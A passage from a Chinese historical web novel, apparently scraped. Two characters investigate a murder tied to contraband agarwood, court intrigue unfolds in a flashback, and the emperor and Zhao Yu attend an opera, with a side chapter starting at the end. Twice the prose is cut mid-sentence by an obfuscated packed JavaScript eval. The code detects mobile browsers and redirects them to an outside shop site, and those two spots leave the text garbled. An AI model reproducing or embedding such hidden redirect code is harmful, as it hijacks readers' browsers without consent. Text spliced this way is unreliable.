掌柜刘全蒲在屋子里面接待贵客,店面就由一个小伙计照看。伙计姓刁,一贯勤勉,此时,他见没客人来,就拿过算盘,核一下账。手指头还没有拨弄两下,就看见门外进来两个人。 一个穷鬼,一个瘸子。 看人都是先敬罗衫后敬人,不过生意人打开门,财通四海,比一般狗眼看人低的人要和善。 伙计刁过来招呼,“两位爷,想看点什么?小店经营香料,从熏蚊子的艾草盘香到名贵的熏衣服的玫瑰鸢尾,甚至是丝路上来的狸猫麝香都有,应有尽有。” 赵毓支撑不住,摸到椅子边上,赶紧坐了,拐杖放在一旁。 崔珩,“有沉香吗?” 伙计刁,“有。” 说道这里,伙计又加了一句,“两位爷,想喝点什么?” 赵毓,“我不喝,你给他弄点茶水就好。” 他从怀中掏出一个锡壶,喝了口。方才在侯府喝到的酸梅汤特别顺口,他就用锡壶装了一些带出来,此时喝正好解渴。 崔珩对伙计刁说,“随便弄碗明前,走了这一路,也真渴了。” 伙计刁没动,“小店是小本经营,没有明前茶。不过有今年的雨前茶,给您沏上一盏,让您润润喉,您看成吗?” 崔珩也从怀中掏出一个布包。他身着布衣,可是这个小布包却是上好的织锦,里面还垫着油纸,包裹着白色软丝,一层一层打开,最终,是一块迦南。沉香,如今雍京市面的价格,十六两价值百两白银;对于沉香中的极品迦南,十六两的价格是千两黄金!而此时崔侯手中之物,正是千金之价的稀世之珍。 崔珩,“伙计,你们店里的货,比得上这个吗?” 伙计刁招呼崔珩坐,又亲手烹茶,这一次,捧出来的居然是“岐山云雾”,一两黄金一两茶。 “自然比不上。”伙计刁特别恭敬,“二位爷,这次过来,是想要比着这块迦南再入手一块,还是,出货?” 崔珩,“我想要比照着再买一块,有吗?” 伙计刁仔细看了看他,又看了看正在低头专心喝酸梅汤的赵毓,忽然一乐,和善到带了三分的谄媚,“没有。” 崔珩,“唉,你不是说有沉香吗?” 伙计刁笑着解释道,“沉香倒是有,只是这品质与您这块差了许多,毕竟几万株沉香才有一株迦南。这位爷,您既然有这种料,就应该知道,这种迦南是贡品,几百年来它一直是大郑皇室祭祀天地时燃的香,民间擅藏擅用都是死罪。可是这沉香却不同,虽然也异常昂贵,等闲人家用不起,却不是禁忌。只要出的起高价,还是可以用的。” “可是,……”崔珩身子向前,“我怎么听说,你这个铺子神通广大,前些日子,卖出一些迦南?” 伙计刁脸色都不变,“爷,您可真会开玩笑。我们要是有那种神通,店面就不会在陋巷中了。” 此时,掌柜刘全蒲亲自送客人出来,那人一到铺面当庭,见到崔珩与赵毓,愣住了。刘掌柜看了看这两位,一个看起来像个落魄的书生,而另外一个,则缩在椅子上,手边的扶手上靠着一根木拐杖,显而易见是个瘸子。 刘掌柜见客人不走,疑惑的问了一句,“梅先生认识这两位?” 赵毓抱着酸梅汤的罐子抬头,也是意外。这位让掌柜亲自送出门的贵客,居然是太傅梅恒臣那位大有出息的长子嫡孙,梅怀瑾。 去年,他高中进士,又被翰林院选为庶吉士,进微音殿伺候笔墨,成为天子近臣,前途不可限量。 梅大公子的妻子就是谢枯荣家族的十一娘,却因为无法再生儿子而沦为弃子。老太傅命大公子出妻,并且亲自登赵毓门,为他求娶赵格非,并且同意析祖产,说实话,“诚意”是足足的,下手也是快很准,只是,在谢夫人依旧是梅家宗妇的时候,花骨朵进门只能为“贵妾”。 赵毓没同意。不过,行走江湖一贯秉承“买卖不成仁义在”的原则,他再见到梅怀瑾,居然心中有了一种淡淡的“这就是我那个没运过门的女婿”的荒诞之感。 梅怀瑾却看着崔珩,一身布衣长袍,显得落魄失意而颓丧。 昨夜。 该他当值微音殿。 北境军情复杂酷烈,其他人尚且可以轮值换班,陛下却不能。皇帝几乎不日不夜在微音殿连轴转了五六日,等大局大抵稳定下来,一些庞杂的文书事务交由内阁与司礼监处理,他方回寝宫安置。(→_→) 所以,梅怀瑾并没有随侍皇帝。 夜空清澈,一轮明月居然将大正宫照出了峰峦叠嶂的险峻之感。 一个小太监提着灯笼引路。 ——这是去哪儿? 梅怀瑾心存疑惑,却没有张口。他跟着那个灯笼,在这朱墙黑色琉璃瓦构建的禁宫中,安静的走着。 可是,他却停住了。 眼前是丹陛,三丈高,三层汉白玉的台基,一级一级台阶之上,就是微音殿。平日他走的不是这条路,而是旁边的一条普通青砖铺就的台阶。大郑祖制,只有陛下与宰辅,王公,才可以从丹陛两侧走,否则就是以下犯上。 有人将他引到这里来,陷阱吗? 可是,他仅仅是个普通的翰林,这样大费周章,何必呢? “梅大人,为何停步?”丹陛之上有人说话,有金玉之感,“灯笼不够亮,看不清楚路吗?” 那个小太监不走了,想要将灯笼给梅怀瑾,他却没收,他知道自己看得清楚脚下路。他就这样一步一步,沿着别人给他划出来的路,拾级而上。 一盏琉璃灯出现在丹陛尽头。 明烛的光照亮了提灯人一身蟒袍,衣襟袖口俱是江崖海水的彩纹,层层叠叠的丝线叠绣,耗费一个绣娘一个月的工夫,繁复华美,高贵,森严却冷酷。 那是一个极其清艳的男人。 崔珩!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728983|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刘掌柜显见梅怀瑾与这两个人认识,他又看到了崔珩手边放着的那块木料,和刁伙计已经泡出来的“岐山云雾”,他心中立刻有了计较,对着崔珩与赵毓一躬身,“小店眼拙,不知道两位贵客如何称呼?” 崔珩想要开口,赵毓一拦,说,“前日西山有一条人命官司,死的是一位布衣少女,她身上有迦南的香气。” 他这话说的真假掺半,重要信息有,却不全。 此时,赵毓放下汤壶,摸着拐杖,歪歪斜斜的站起来,“我们也是听人说起掌柜的这间店藏龙卧虎,所以过来问问。掌柜的您别担心,我也知道,您想要在雍京城开门做生意,必定有大手段,我们对于您的生意经不感兴趣,只是想弄清楚,这桩人命官非,毕竟,职责所在。” 掌柜刘全蒲把话都听到耳中,又揣摩了一下眼前几个人,他看了看唯一熟识的梅怀瑾。此时,这位出身清流世家的翰林学士一言不发,却不反驳,也不回避,刘全蒲知道,沉默,也是一种支撑。 “小的眼拙,不知道是顺天府的差官。”掌柜刘全蒲连忙作揖,他看着赵毓,想着再套套近乎,“这位官爷,您拖着残腿病躯来回奔波,勤王之事,忠矣。” 勤王之事,忠矣。——为皇帝忠心办差。 这句话在赵毓心中翻来覆去的,不知道是个啥滋味,双腿打颤,最终,牙缝中蹦出来一句酸文假醋,“食君俸禄,忠君之事。” 崔珩打哈哈,“掌柜的,您看看您,怎么开个香料铺子,还拽上文采了?” 刘全蒲赶紧赔礼,重新请人坐下,又让人端了新的茶水过来。 崔珩,“掌柜的贵姓啊?” “免贵,姓刘。”刘全蒲说,“既然二位是差官,我就不隐瞒。我这店铺的确有名贵香料,可是迦南因为犯禁,就极其罕见。这一年来,只有上个月下旬店里出手过一块。那位客人的老母有沉疴,他买了迦南是回去配药。” 赵毓问,“那位客人是谁?” 刘全蒲道,“我们这里上门的贵客,入手的都是好东西,只是左右不过‘沉檀龙麝’,就像梅先生,方才为少夫人订了一盒上好檀香,以供谢夫人写字书画的时候,凝神静气用的。” 闻言,赵毓看了一眼梅怀瑾,这位年轻的翰林,也一直看着他。 得,这个女婿看样子是彻底没戏了。难道,这位梅大公子,不管什么儿子不儿子的,已经与他老婆鸳梦重温了?不过,最令赵毓意外的却是那位谢家的十一娘也既往不咎,要踏实过日子了? 而梅翰林看着他,就像看着一盘黑白鏖战的棋局。 赵毓,“……??” 刘全蒲继续说,“只是,如果客人要买的是迦南这样的禁物,必定不会亲自登小店的门,差下人过来或者遣了掮客,都是有的。” 赵毓,“刘掌柜的,我算是听明白了。您说了半天,就是告诉我们,您不认识这个买迦南的人?” “不认得。”刘全蒲点头。 崔珩冷笑一声,“不认识买主就敢做这么大的买卖?” 刘全蒲,“就是因为买卖太大,我们为了稳妥,知道的越少越好。” 赵毓点了点头,他倒是认同刘全蒲的做法。与虎谋皮,自然有自己的生存之道。他说,“刘掌柜,那人买迦南,用的是什么?黄金,还是银票?总不能是现银吧,那还不得装上马车,一箱子一箱子的银锭子拉过来?” 刘全蒲笑着回答,“都不是。” “难不成是地契?”赵毓心中大略核算,说,“如果是雍京北城紧要地段的宅子,一张即可,可是却过于显眼,那些宅院那座都是有名有姓的,只要有人追查,两下子就会被人摸到底细。我估摸着,那位不知道姓名的贵客抵在刘掌柜这里的东西,应该是南城的多套宅院,或者是雍京周围的田土。” 这次刘全蒲相当意外!许是觉得赵毓不像顺天府的微末小吏,又开始犹豫了起来。赵毓让他犹豫,就这样安静的等着他。 刘全蒲自己喝干了三碗茶水,终于让人取了一个木盒子过来。 赵毓打开一看,果然是几张地契。不过出乎意料,这些不是雍京的土地,而是姑苏城外的鱼塘,靠近寒山寺,所以显得佛光普照。他左瞧右瞧,也看不出眉目来。崔珩拿过去翻来覆去的抖了抖,也抖不出个所以然来。最后只能还给人家。 “时候不早了。”赵毓杵着拐杖起身,“我们先回去,要是刘掌柜有任何新的消息,到顺天府找姚素。” 崔珩想问,——这个姚素是哪只鸟儿? 幸好他嘴巴紧,没乱噗嗤。 伙计连忙把那块迦南包裹好,捧给崔珩,生怕他忘记了。 一出门,赵毓扭头就对崔说,“谢十一娘准备和她老头儿凑合过了?” 崔珩还没等回答,就瞧见梅怀瑾也走了出来。 缓步徐行。 此人一身长衫,绣着竹,点缀着银色丝线拉出来的长线花纹,颇有一种微雨竹林的意境。 言念君子,温其如玉。 梅怀瑾对着他们长揖,依旧一言不发,转身离去。 赵毓,“如果不是他爷爷瞎折腾,他和谢十一娘真是一对儿璧人。他们和好,能好好过日子,真的不错。” …… 昨夜。 丹陛之上,梅怀瑾走上来对崔珩说,“不敢劳烦崔侯引路,我来提灯。” 崔珩的手臂微微一划,挡开了梅怀瑾的手。 崔珩,“陛下要委以重任的人,必为重器。崔某粗鄙,为储相提灯,也是一大幸事。” 梅怀瑾不动。 崔珩,“督察院参你忤逆不孝。” 梅怀瑾依然不动。 崔珩冷笑,“谢家十一娘是天仙儿吗?值得你为了她忤逆祖父?” 梅怀瑾,“我与纯熙少年夫妻,琴瑟和鸣,她从未负我,我亦不会为了攀附被先帝褫夺封号的祈王而出妻。” “情深意切。”崔珩,“感动的我两行热泪。” 梅怀瑾缄口。 崔珩,“陛下不喜欢孝子。那些孝子心中只有家而没有国。平日里仁孝礼义廉耻俱全,一旦家国危难,他们心中便只有家族利益,想的都是家中十几层的牌位,念的就是给老母洗脚,弃家国百姓于不顾。朽木,终究成不了栋梁。想要做大事,想要在元熙朝成为扶摇直上的重臣,只有做孤臣孽子。圣上用‘六朝何事,只成门户私计’点拨你,你果然一点就透。” “至于那位谢家美人,名震雍京的惊才绝艳,和你的少年夫妻情意,除了给你做个‘忠臣逆子’冠冕堂皇的借口之外,算个屁啊!” 许是微音殿待久了,此时的梅怀瑾也如同那里的禁卫军一般,像是木雕泥塑。 崔珩,“督察院参你忤逆不孝的折子,陛下亲自留中不发,以后,督察院的言官不会再用这种事情弹劾于你。” 他手中的琉璃灯,照亮了通向微音殿的路,铺满汉白玉的砖,明珠一般温润光泽。 “梅大人,恭喜。” …… 崔珩,“谢十一娘眼瞎。” 赵毓,“……” 126. 126 126 崔珩不想再继续这个话题,他们沿着街道慢慢走着。 此时的雍京正是夕阳斜照,酒楼饭铺杂货店沿着巷子开的满满当当。小孩子们满地跑来跑去,妇人的吆喝声,灶上燃起了炊烟。有人支着一口大铁锅在门外炸果子,还有人熬糖准备塑糖人。 赵毓杵着拐杖,一瘸一拐。 “老崔。” “咋啦?腿疼的走不了路?” “没,我挺好。我就是忽然想到很多年前,咱们两个刚被抄家,就住在外公留下的那个小院子里。那个院子像个发面发大了的包子,摊在一个破落的巷子深处,院墙都不完整,后面塌了一块。何妈能干,她用柴火堵上了那一块,还种了一片菜地,黄瓜豆角茄子大青椒,什么都有。” 崔珩听着,忽然停下脚步。 赵毓,“怎么了?” 崔珩,“你自己回去吧。” 赵毓想着他还有别的要紧的事,就“哦”了一声,低着头,继续一瘸一拐的向前走。他心中琢磨着,得叫辆马车把他拉回去,没想到老天爷听到了,立即让他心想事成。此时,他眼前踢踏过来一辆马拉车。就是吧,这马,稍微好了那么一丢丢。这是最上等的匈奴骏马,千里名驹,旁人当它是神迹一般供着,只有尚驷监用它拉车。 一只手擘伸到他眼前,袖子是清灰色,丝麻交织的料子,在夕阳下还有波光,看着就贵。 皇帝到了。 “文湛,你睡醒了?” 他几天没合眼,昨夜又那般折腾,早上赵毓离宫的时候,他还沉睡。如今站在夕阳中,居然熠熠生辉。 “嗯。” 文湛把手臂支撑在赵毓的后腰上。 “你有没有看见老崔,他刚才还在?” 文湛回头,看了看远处夕阳阴影中站着的那个崔姓三等侯,切金断玉一般回答,“没有。” “哦,那他走了。文湛我和你说,最近出了一件不大不小,但是很蹊跷的事。” 文湛把他抱上了马车,他自己也上来。 “什么事?” “朱七姐让人杀死了。” 御手挥动马鞭,车轱辘滚滚向前,只留下周围的窃窃私语。 …… “这人啊,有啥别有病,没啥别没钱。” “要我说,有钱有病也不成。” “你们看看刚才那个人,长的周正,看着也不像缺钱的人家,家里人也护着,可惜是个瘸子。大宅门里面房头多,老婆多,儿子多,是非多。他这样的,文不成武不就,说了不算,掌不了家业,这一辈子就难过喽。” “可惜,实在可惜,怎么偏偏就是个瘸子?” …… “朱七姐死的蹊跷,她是在西市被人用弩|箭射|入后脖子杀死的,并且,更加蹊跷的是,我在弩|箭的尾羽上闻到了迦南的香气。” “迦南是宫里用的,旁人用了就犯禁。可是,每年宫里向各个王公府邸都有赏赐,虽然不多,可也不是绝对禁止。所以,零星几个背景深远的铺子,也有人会做这种香料的生意,就是价格极其昂贵。” “老崔与我去了一间这样的铺子。他们之前出手过一块,不是银钱交易,买主用地契付账。我看了,是姑苏城外绵延一片的土地。” 赵毓一边说着,文湛认真听,只是,当他听到姑苏的时候,眉毛微微一皱。 赵毓问,“文湛,徽郡王家里有心不好的病人吗?我记得之前吃过的清心丸,里面有一味药就是迦南。” 文湛,“有。世子的亲生母亲身世坎坷,重病缠身,常年用药。前些日子,太医局的林医官还去瞧了瞧。怎么,你觉得这件事与徽郡王有关?” 赵毓,“那几张地契我见过,在长生当铺,是徽郡王的买卖。” 文湛没说话,因为,这不算是罪证确凿,其实,这什么都不算。 赵毓,“朱七姐,死亡,西市,迦南,徽郡王,……,这些零七八碎的消息,都有什么关联呢?” 此时,他忽然听见外面有丝竹的声音,还有女声和着紫檀的拍板,若有似无,袅袅不断,绕着木雕彩绘的屋檐连绵不绝。赵毓掀开马车帘子的一角,向外看,居然到了文曦楼,雍京城三大戏楼之一。门前挂了牌,大大的一张红纸,上面花团锦簌的,写着今晚的头牌戏码,——乔良的《风波亭》。 “文湛,来都来了,先别急着回去,咱们听戏去。” “好。” 文湛搀着赵毓下车,门口早有伙计迎候,他不认识赵毓,却认得驾车的马是好马。 赵毓一手扯着文湛,一手拄拐,自报家门,“元承行。” 元承行在这里有包厢,平时都是薛宣平用,或者用来招待客人,或者用来自己消遣,总之,位置顶好。文曦楼顶楼的雅间,关上门,垂下竹帘,除了送茶水酒馔的伙计,旁人难以窥伺。 伙计上下看了看赵毓,衣服是粗布做的,幸好是长衫,肯定不是苦力,于是他问,“这位爷,您看着眼生,可是薛先生商行的掌柜?” “不是。”赵毓摇头,说着从袖子中拿出一块散碎银两,给了伙计,“我是他姥姥。” 伙计,“……” 既然报了元承行的名头,就是贵客。 得了碎银的伙计更是巴结,为他们殷勤引路。只是,从门口到楼上,这一路都有人侧目。 一位衣着华贵的世家公子,小心翼翼的搀扶着一个瘸子。要说这名瘸子是富商巨贾或者手握重权的王公也就算了,再老朽,这个场面也还是能看的。偏偏这个瘸子一身粗布,从里到外透着一股子寒酸,全身上下除了一张脸之外,实在是身无长物,这个场面就难看了。 只是,赵毓专心爬楼,文湛更是心无旁骛,似乎对于这些纷扰全然不盈于怀,显得这两个人分外奇特。 爬了几层木楼台阶,赵毓一进雅间就摸了把椅子,瘫在上面。他点了茶水点心,听说河鲜也有,就又点了一份冰碗。不一会儿,茶点端了上来。盖碗中是碧螺春,一个蜜饯果子拼盘,一个炒货松子糖的拼盘,还有几碟子酥饼,和一盏白色琉璃盏装的冰碗,里面是藕片,莲子,菱角与鲜老鸡头,镇着碎冰,浇了蜂蜜汤汁。 终于安静了下来。 文湛端着茶碗抿了一口,就放在一旁,“难以入口。” “陛下口味养刁钻了。”赵毓忽然一笑,“不过,您还是借了我的光才能喝到上好的茶叶呢!如今寝宫微音殿中,你喝的茶叶都是我让人从外面直接采的。之前内廷的茶叶品质都一般,因为好的东西喝顺口了,不好的东西就入不了口,以后万一有个天灾人祸的,没有极品茶叶稳定供应,内廷那些人难道要用自己的猴毛变出来好东西给你?” 文湛莞尔,“哥哥,喝你几斤茶叶,难道不应该吗?” 赵毓就觉得有人用鞭子把他的后脊柱狠狠抽了一下子,双腿一蹬,差点抽筋,连忙说,“应该,太应该了啦,呃,必须的!” 忽然,文湛从椅子上抄起来赵毓,他自己坐回椅子,将赵毓打横放在腿上,手在赵毓的后腰腿上慢慢推揉,“今天应该在宫里歇一天,那个崔姓三等侯真没眼力见,什么天大的事情,非要叫你出来?” 赵毓觉得酸麻,还有些发热,挺舒服的,“老崔也是好心。哦,今天你也听听外面的戏,乔老板的《风波亭》相当不错。” “宫里就有戏。这些年你不在,每年冬至,水镜台上就唱一些喜庆热闹应景的玩意儿。进宫的那些角儿,一个一个的,脸上跟涂抹了面一样,咿咿呀呀的唱着,不知所谓。不知道今天这戏楼的戏,可比水镜台的好听?” 赵毓头歪了一下,“陛下,是《风波亭》唉!” 文湛让赵毓揽着他的脖子坐稳当些,他自己一只手从桌上拿过来琉璃盏,另外一只手拿起竹勺,舀了莲子再蘸了蜂蜜汤水,喂到赵毓嘴边,显得冰凉甜蜜,让他一枚一枚吃了。 他才说,“这出戏不就是宋帝冤杀岳武穆?名臣的冤屈,权力的冷酷,皇帝的卑鄙,有什么好看?” 赵毓,“现在可是有人把陛下比作赵构呢!” 文湛,“能做赵构也不错,可得岳飞如此千古名臣,一大幸事。可惜,这种幸事可遇不可求。” “陛下不生气?” “不气。” 赵毓,“难道,陛下不认为自己不忍江山浩劫而一力撤藩,一片顾念苍生的心却被如此曲解,委屈吗?” 文湛吃了一片被赵毓咬掉一半的藕,入口格外清甜,“这些事情,本来也不是他们能明白的,能承担的。庶民有庶民的事情要做,每日耕田织布,按时交粮纳税,甚至还需要服徭役,已经很劳累了,至于家国天下,就留给肉食者来烦心好了。” 赵毓仔细咂摸了咂摸这句话,“真不知道应该赞陛下是海纳百川有容乃大,还是应该惧陛下傲慢冷漠到没有人性的地步呢?” 文湛从琉璃盏中又挑了一颗莲子,塞到赵毓嘴巴中。 此时,锣鼓喧天,开戏了。 薛宣平一到文曦楼就被告知,“薛先生,您姥姥在元承行的雅间。” 他的脑袋瓜子似乎被人用铜锣狠狠连续打击,——咣咣咣咣咣!!!! 薛掌柜心中狐疑,——我姥姥当年把我娘卖了给两个舅舅换了一门亲,家里依然穷到揭不开锅,她老人家不到六十,就被两个舅舅兄弟齐心协力以扁担抬着扔山沟里去自生自灭了。 如今她老人家还能在顶楼听戏? 咋,诈尸了? 他一路向上走,还没到顶楼,就碰到几个生意场中的狐朋狗友,互相寒暄之后,他们欲言又止。 “薛先生,您那商行,果然是能人辈出啊,……” “呃。” “瘸子都能进元承行,想必算盘上的功夫了得?” “呃。” “这个瘸子偏偏还扯着一个小白脸上戏楼,虽然咱们买卖人不讲究那些虚礼,可是,这样也太惊世骇俗了。扯个粉头都比这个强,实在是,……,哎。怪不得那些读书人总是说咱们愚民罔知周礼,哎。” “呃,……” 小白脸? 薛宣平一听就知道在雅间听戏的是谁! 他连忙上楼,敲了门,就听见里面有人喊,“我们这里东西够吃,不用再送了。” “谁给你送东西?是我,老薛!” “老薛啊,进来吧,木门没插。” 薛宣平一脚踏进去,就瞧着赵毓就坐在那个小白脸的大腿上,那个小白脸还在一勺一勺喂他吃冰碗。 不要脸,太不要脸啦! 堂堂元承行的大老板,有事没事就坐男人大腿,说出去实在不像个样子。 “哎呦喂!”他一捂眼睛,“悠着点,悠着点。” 赵毓吃的满嘴都是菱角,实在没嘴说话,含含糊糊的打了个招呼。 薛宣平,“方才我上楼来,碰见了老何和老谢他们。他们说啊,你这样过于惊世骇俗,实在不好,怪不得读书人总是说咱愚民罔知周礼。” 赵毓把嘴巴里面的东西都咽了,“愚民罔知周礼,这几个字,你会写几个?” 薛宣平掰着手指算了算,“三个!” 赵毓,“字都写不全,学那帮子酸文假醋,也不怕酸倒牙,连豆腐都咬不断?” 薛宣平垂手丧气,撤了竖着的三根手指。 文湛清淡的说了一句,“薛先生,坐。” 清雅随和,又说一不二,…… 薛宣平重新打量了打量文湛,心中一动,他发现文湛身上的衣料有些怪。这是丝麻交织的料子,虽然不便宜,却不是十分稀奇,而让人心存疑惑的却是上面的光泽,粼粼的,犹如波光。 薛宣平甚至情不自禁的伸出了手。 当真触到文湛的袖子,这才发现,这种衣料上的纹路纠葛了七八层,虽然大抵是白色灰色,其实各不相同,而泛着光泽的是其中三层纹路,那是白,浅灰,和灰三种颜色,丝线中缠着白孔雀的羽,绞着纤细的银线。 “小哥,这种料子,是狐仙吐出来的吧。” 赵毓把薛宣平的手打掉,“别瞎摸,脏了不好洗。” 薛宣平又问文湛,“小哥,你到底什么来路?咱们认识这么久了,我还不知道呢。原先以为你是翰林院的,后来觉得又不是。大家只能大约猜出你出身不错,应该是世家,可是到底是做哪行的,饶是我自诩照妖镜,也照不出你的原形真身。” 赵毓忽然乐了,“他是我在江宁道上救的一只狐狸。老薛你道行不够,照不出人家的九尾真身。” 文湛见赵毓吃的差不多了,把琉璃盏放回桌面,说,“我只是依靠祖宗庇佑吃口饭的人,没有什么值得说的。” 薛宣平啧啧,“您家这祖宗,可真有本事!不但给了子孙一副好相貌,还有一肚子诗书,更有能穿的起这种惊世骇俗料子的本钱。哎,人比人得死。不过,小哥,你是怎么认识老赵的?” 赵毓,“老薛,你在顺天府领俸禄了?” 薛宣平,“没啊。” 赵毓,“看你这刨根问底的架势,我还以为你给顺天府造黄册呢!” 薛宣平一摸脑袋瓜子,“不愿说就不说,我也不稀罕听。” 此时,外面戏台上乔良的嗓子一亮,——本欲平金奏凯还,怎奈奸臣暗弄权。 薛宣平不知道哪里来的豪情,忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728984|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然高声吟诵,——“三十功名尘与土,八千里路云和月。莫等闲、白了少年头,空悲切!” 赵毓手一抖,手中的点心都掉到衣襟上。 文湛连忙帮他收拾。 赵毓骂道,“老薛,你发什么猪瘟?” “这不是你教我念的宋词吗?”薛宣平转而向文湛说,“小哥你不知道,老赵当年在西北可酸了,战事吃紧的时候他还安分一些,要是战事稍微缓和一些,他就把我们一堆粗人攒起来,教我们背诗词。” “一开始我们死活背不下来,后来他想了个损招,就是吃饭前他把我们都轰到军营前面,让我们捧着写着要背的东西站在饭锅前面。大锅下面烧了柴火,旺的很,锅里面的东西一直翻滚,香气把肚子里面的馋虫都勾出来,可是,背不下来,不让吃饭。那个难受劲啊,抓心挠腮的。别说,平时一年都背不下来的东西,在饭锅面前,三两下都记住了,还记得十分牢靠!” “我在那几年,还背了不少东西。现在谈生意的时候,不时抛出来,能唬人。” 如今读书人清贵,会诗词歌赋的,更清贵。 全天下人有十成,大字不识的睁眼瞎占了九成五。 士林学子专心致志在八股,那是高爵厚禄的唯一敲门砖。许多大商贾能写会算,可是写的也多是实用的东西。而这些诗词歌赋,本来就是清贵人家陶冶性情用的东西,浮华无用,却美的令人丢魂,自然不会被汲汲营营,需要奔命刨食的人喜爱。 所以,喜爱这些,也真能有所建树的,不是那些早已经得到高爵厚禄的读书人,就是有田土有闲情雅致、不为功名生活所累的世家子。 薛宣平有事没事拽几句,当真是给自己扯了一张大大的虎皮。 赵毓,“早说过,让你们背些诗词,你们会感激我的,嘿嘿。” 文湛只是听,他专心致志的给赵毓收拾点心渣。他的手指白皙,长,看着有些冰冷的淡漠感觉,就像羊脂玉雕刻而成,却带着韧劲。薛宣平忽然一伸手,突袭,并且握住了文湛的右手。 这是一个读书人的手。 指腹上的茧子,需要经年累月的写字方才能磨出来,做不了假,骗不了人。 可是,这也是一个剑士的手。 手指,手腕的力度,像玄铁打造的钳子一样,可以轻而易举捏碎自己这只看起来肥头大耳的手掌。 他甚至感觉到即将骨断筋裂的疼。 薛宣平连忙松手。 他再看文湛,而那人已经不再理睬他,而是继续专心致志的给赵毓收拾点心渣,似乎,方才的较量,只是一场虚幻。 这样的人,怎么可能屈尊做别人的小白脸? 即使金主是赵毓。 “小哥。你喜欢岳飞的词吗?” “还好。” “老赵也喜欢。他最喜欢的就是——驾长车,踏破贺兰山缺。壮志饥餐胡虏肉,笑谈渴饮匈奴血。待从头,收拾旧山河,朝天阙!” 文湛捏起来最后一块点心渣,放在桌面上的瓷盘当中,“不对。” 薛宣平,“怎么不对?” 文湛淡淡的说,“他最喜欢岳武穆那句,——兵安在?膏锋锷。民安在?填沟壑。” 赵毓看了皇帝一眼。 十年征战西北,他见过太多死亡,踏破贺兰山缺的豪情早已经被膏锋锷的兵士们、填沟壑的边民们湮灭掉了。面对战争,他苍老的如同已经进入耄耋之年的老翁,很难做到心如止水,却是满目疮痍。 赵毓从来不提这些,可是,文湛懂。 薛宣平却很是意外,——赵毓喜欢这样悲怆的东西吗?他一直以为,像老赵这样少年得志的家伙,不管外表多么斯文孱弱,多么和善,心中必定捭阖睥睨。怎么,他也有这样悲天悯人的情怀,而且,并不是装装样子? 真的是这样吗? “小哥,你别不懂装懂。”薛宣平,“我认识老赵十几年了,他的狗性子我清楚,他可没有这么大慈大悲。” 赵毓把点心吞下去,“我怎么没有慈悲心?” “老赵,你这个人见色忘义。我同你认识十几年,小哥与你相交不过三四年,你自己说,是我了解你,还是他了解你?” 可是,…… 赵毓心说。 你与我,文湛与我认识的年头都不短,要是掰着手指头算,相处都是十几年。只是,咱们两个就是个烧火做饭的交情,文湛同我是滚到一个被窝的交情。 能比吗? 赵毓不欲再同他扯淡,“你怎么上戏楼了?” 薛宣平一拍脑袋瓜子,“你不说我都快忘了。乔老板唱完这一场就上来喝口茶,他说要给我引荐个人认识。” 赵毓,“谁?” 薛宣平,“鬼占。” 赵毓,“长生当铺的大查柜。” 薛宣平,“你认识?” 赵毓,“不认识,只是听说过。满雍京城能叫得上名号的掌柜的们就这么一个姓鬼的奇葩,我没听说过才是奇葩。乔老板是个戏痴,他在戏台子上一向都是不疯魔不成活,怎么学俗人掺和这种事?” 薛宣平,“戏台子上演的是王侯将相,台下却是下九流。乔老板登台有些年头了,花无白日红,最近有些后起之秀后浪推前浪,他是聪明人,难道不为自己谋个后路?这桩买卖要是成了,他提一成。” 赵毓,“鬼占想做什么?” 薛宣平,“还不知道,不过我说老赵,你还想坐男人大腿到什么时候,起来呗,咱们一起见见这个姓鬼的。” 赵毓,“拉倒吧,我才不去。” 他说着,双脚还来回晃了晃,“鬼占要是见了我,有些事情就不同你讲了。老薛,你自己去,见了他的面,什么都不说,也不说见过了我,就看着他说啥,还有,重要的是你千万别接招,就是点头哦哦哦就好。” 薛宣平有些狐疑,“你不会欠了他很多钱吧?我听有人说,你把那个学堂的地契拿去抵押了,不会押在长生当了吧?” 赵毓,“雍南学堂?” 薛宣平,“对。” 赵毓,“怎么有这么离谱的传闻?呀,糟糕。” 薛宣平,“……?” 赵毓,“今天初七,我得回学堂一趟。有个小闺女儿等着我讲学。” 薛宣平,“……???” 他看着赵毓拄拐站起来,小白脸扶着他,歪歪扭扭的向外走。此时,楼下戏台子上乔老板扛着枷锁,即将命殒风波亭,小白脸居高临下的看了一眼。 绝对没有悲悯与善意。 复杂。 带着杀伐。 让薛宣平如同树墩子一般结实的身躯,怂了。 127. 三八番外·假如文湛是哥哥 127 三八番外·假如文湛是哥哥 凤化二十七年,冬至。 大正宫,微音殿。 “小殿下,小殿下!”黄枞菖催命似的从前面连滚带爬的过来,一把揪住承怡的袖子,“太子就在正殿,已经问了三遍您怎么还不来,周围的人吓得跪了一地,您得赶紧过去。” “我方才写字帖,不然太子殿下查起来,看到我偷懒没练字,要罚跪洗衣板!” ——为啥是跪洗衣板,而不是跪文华殿? 黄枞菖心中闪过一丝怪异的疑问。之所以说是怪异,是因为,大正宫惩罚没有好好读书的凤子龙孙的方法一般都是跪文华殿,只有民间的那些惧内的相公被老婆罚跪才是跪洗衣板。 承怡是皇帝最小的儿子,今年只有十岁。 